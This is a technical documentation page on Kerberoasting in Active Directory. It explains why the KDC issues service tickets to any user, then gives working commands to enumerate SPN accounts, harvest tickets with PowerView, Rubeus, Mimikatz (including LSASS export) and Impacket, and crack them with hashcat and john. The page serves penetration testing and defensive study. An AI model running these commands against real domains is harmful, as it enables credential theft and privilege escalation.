> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # Kerberoasting Kerberoasting is a technique that obtains a crackable password hash for any AD account carrying a Service Principal Name (SPN), an attribute that ties a service (MSSQL, HTTP, a custom app) to the domain account it runs as. No elevated rights are needed to pull it off, any authenticated domain user, down to the lowest-privileged account, can request a ticket for any SPN in the domain. *** ### A Quick Kerberos Refresher Normal Kerberos authentication is a two-step exchange with the Domain Controller's KDC (Key Distribution Center): 1. **AS-REQ / AS-REP** - the user authenticates once (password/hash/ticket) and gets back a **TGT** (Ticket Granting Ticket), proof of identity for the rest of the session. 2. **TGS-REQ / TGS-REP** - to actually reach a specific service, the user presents the TGT and asks the KDC for a **TGS** (service ticket) for that service's SPN. The KDC hands back a TGS, encrypted with a key derived from *the service account's own password*, not the requesting user's. That TGS is then handed to the service itself, which decrypts it with its own key to confirm the ticket is legitimate and extract the user's identity/authorization data. ### Why This Is Exploitable The critical detail: **the KDC issues a TGS to anyone who asks for one**, regardless of whether that user actually has any business talking to the service. Authorization is the service's job, checked when the ticket is presented, not the KDC's job when the ticket is issued. The KDC's only check is "does this SPN exist", not "should this user have it". That means any domain user can request a TGS for, say, an SQL service account's SPN, and get back a validly encrypted ticket, with a key derived from that service account's password, that they were never meant to be able to decrypt. The encrypted blob itself becomes the target to crack: taken offline, there's no lockout policy, no rate limiting, no logging on every guess, just raw compute against the service account's password. *** ## Finding Vulnerable (Kerberoastable) Accounts A Kerberoastable account is simply any user object with a non-empty `servicePrincipalName` attribute. Computer accounts also carry SPNs by default, but their machine account passwords are long, random, and auto-rotated, not practically crackable, so every method below filters specifically for **user** objects with an SPN, not computers. ### The Underlying Mechanism: `servicePrincipalName` Every tool below is querying for the same thing, a user object where `servicePrincipalName` is set, one way or another. The raw LDAP filter underneath needs nothing but `ldapsearch`: ```bash theme={null} ldapsearch -x -H ldap:// -D "\" -w '' \ -b "DC=inlanefreight,DC=local" \ "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName ``` ### PowerView ```powershell theme={null} Import-Module .\PowerView.ps1 Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname # list every Kerberoastable account Get-DomainUser -Identity sqldev # details on one specific account Get-NetUser -SPN # legacy equivalent, same result ``` ### Native AD Module (No PowerView Needed) ```powershell theme={null} Import-Module ActiveDirectory Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` ### Impacket (`GetUserSPNs.py`) ```bash theme={null} GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend ``` *** ## Requesting & Harvesting Tickets **Windows (PowerView / Rubeus / Mimikatz)** **Viewing cached tickets** ```powershell theme={null} klist # list Kerberos tickets cached in the current session klist purge # clear all cached tickets ``` **Requesting & exporting tickets** ```powershell theme={null} Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation # roast every SPN account at once ``` **Mimikatz** ```text theme={null} kerberos::list /export # Mimikatz: export the current user's own tickets, official Windows APIs, no admin needed sekurlsa::tickets /export # Mimikatz: export tickets for all logged-on users from LSASS, needs admin/SYSTEM ``` **Rubeus** ```powershell theme={null} .\Rubeus.exe kerberoast /nowrap /outfile:hashes.txt # roast every SPN account, Hashcat-ready output .\Rubeus.exe kerberoast /user: /domain: /nowrap /outfile:hash.txt # target a single account .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap # target admin accounts only .\Rubeus.exe kerberoast /tgtdeleg /aes /nowrap /outfile:aes_hashes.txt # AES-only, stealthier (avoids an RC4 downgrade) ``` **Linux (Impacket / NetExec)** **Impacket** ```bash theme={null} GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request # request + dump TGS hashes for all of them GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs # target one specific account GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley # roast across a cross-forest trust ``` **Netexec** ```bash theme={null} netexec ldap -u -p --kerberoasting kerberoasting.out ``` *** ## Cracking How to crack Hashes is fully covered on the [Password Cracking](https://0-x.dev/password-cracking.md) page. Use the correct modes while cracking. ```shellscript theme={null} python3 ./tgsrepcrack.py # Crack TGS Ticket with python script hashcat -m 13100 kerberoasting.out --force # Crack older RC4-HMAC hashes (type 23). hashcat -m 19700 hashes.txt wordlist.txt # Crack modern AES-256 hashes (type 18). john --format=krb5tgs hashes.txt --wordlist=wordlist.txt # Crack TGS hashes using John. ``` This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.